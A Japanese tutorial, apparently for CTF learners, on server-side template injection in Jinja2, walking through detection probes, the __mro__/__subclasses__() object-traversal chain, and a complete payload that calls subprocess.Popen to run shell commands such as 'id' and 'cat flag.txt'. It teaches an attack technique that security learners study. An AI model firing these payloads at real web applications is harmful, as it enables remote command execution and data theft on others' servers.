SSTI
webアプリケーションを効率的に開発を行うためにサーバーサイドでテンプレートエンジンを採用することがあります。
脆弱性対策を怠っていると、SQLインジェクションのように悪意のある入力によって、意図しない操作やファイルの改ざん・閲覧などがされる可能性があります。
テンプレートエンジン
以下のようにテンプレートエンジンがいくつか存在します。
テンプレートエンジン | 特徴 |
---|---|
Jinja2(Python) | Flaskでよく使われる |
Twing(PHP) | Symfonyなど |
ERB(Ruby) | Railsなど |
今回はJinja2の脆弱性について解説します。
Jinja2
まず、このテンプレートエンジンが使われていることを確認する必要があります。
{{7*7}} --->49
{{"a"*5}} --->aaaaa
などの戻り値になれば、Jinja2と言えるでしょう。
攻撃方法を探す
{{ [].__class__.__mro__[1].__subclasses__() }}
これは、現在使用できるクラスの一覧が出力されます。そのクラスの中には、ディレクトリを見たり、ユーザ情報を取得できるものがあります。
ただ、何をやっているかさっぱりだと思うので、順を追って説明します。
クラスを調べる
[].__class__---> <class 'list'>
まず、'[]'のクラスを調べています。<class 'list'>
と「'[]'はlist
クラスですよ~」と教えてくれます。
ここで調べるのはリスト以外でも問題ありません。
重要なのは、クラスの種類を出力させることです。
そのクラスの親を導く
[].__class__.__mro__[1] ---> <class 'object'>
次に、リストの親クラスのobject
クラスを出力させます。
リスト以外のクラスを調べたとしても、すべてのクラスは最終的にobject
クラスに辿りつくきます。
ただ、object
クラスにたどり着くことが重要です。
__mor__[1]
というのは、直接の親クラスを指します。
__mor__[2]
とすると、親の親(祖先)を指しますが、今回は存在しないのでエラーになります。
すべてのクラスをリストしよう
[].__class__.__mro__[1].__subclasses__()
__subclasses__()
はobject
クラスの特別なメソッドです。
現在メモリ上にロードされている、すべてのクラスのリストを返します。
実行時に Python がロードしている全てのクラス(内部クラス、標準ライブラリクラス、ユーザー定義クラスを含む)が表示されます。
その中でも重要そうなクラスをまとめます。
クラス名 | 使い道 | 解説 |
---|---|---|
subprocess.popen | コマンド実行 | 任意のOSコマンドを実行可能 |
warning.catch_warnings | __grobals__へのアクセス |
os open eval の実行経路 |
subprocess.popen
{{ [].__class__.__mro__[1].__subclasses__()[IDX]("id", shell=True, stdout=-1).communicate()[0].decode() }}
ちょっと長いですが、[IDX]
から追加されたコードになります。
[IDX]
はsubprocess.popenのリスト番号です。
リスト番号がわからない場合は、F3でpopoen
と調べるとsubprocess.popen
に誘導されます。
その状態でF3で,
(クラスを羅列するときの区切り)を調べると、subprocess.popen
が何番目にあるのかある程度特定することができます。
{{ [].__class__.__mro__[1].__subclasses__()[350] }}
{{ [].__class__.__mro__[1].__subclasses__()[351] }}
などで特定できます。
("id", shell=True, stdout=-1)
は、shell経由で"id"というコマンドを実行するコードです。
"id"
を"ls -a "
にすればすべてのファイルが表示されます。CTFなどではここにflagがあったりします。
cat flag.txtなどで中身を読みましょう。
communicate()[0]
は、出力とエラーを表示するためのメソッドです。
[0]にすることで、返り値から標準出力(バイト列)を取り出します。
decode()
は取り出したバイト列を文字列に変換しています。
まとめ
テンプレートエンジンの脆弱性を突いた攻撃手法でした。
悪用禁止です。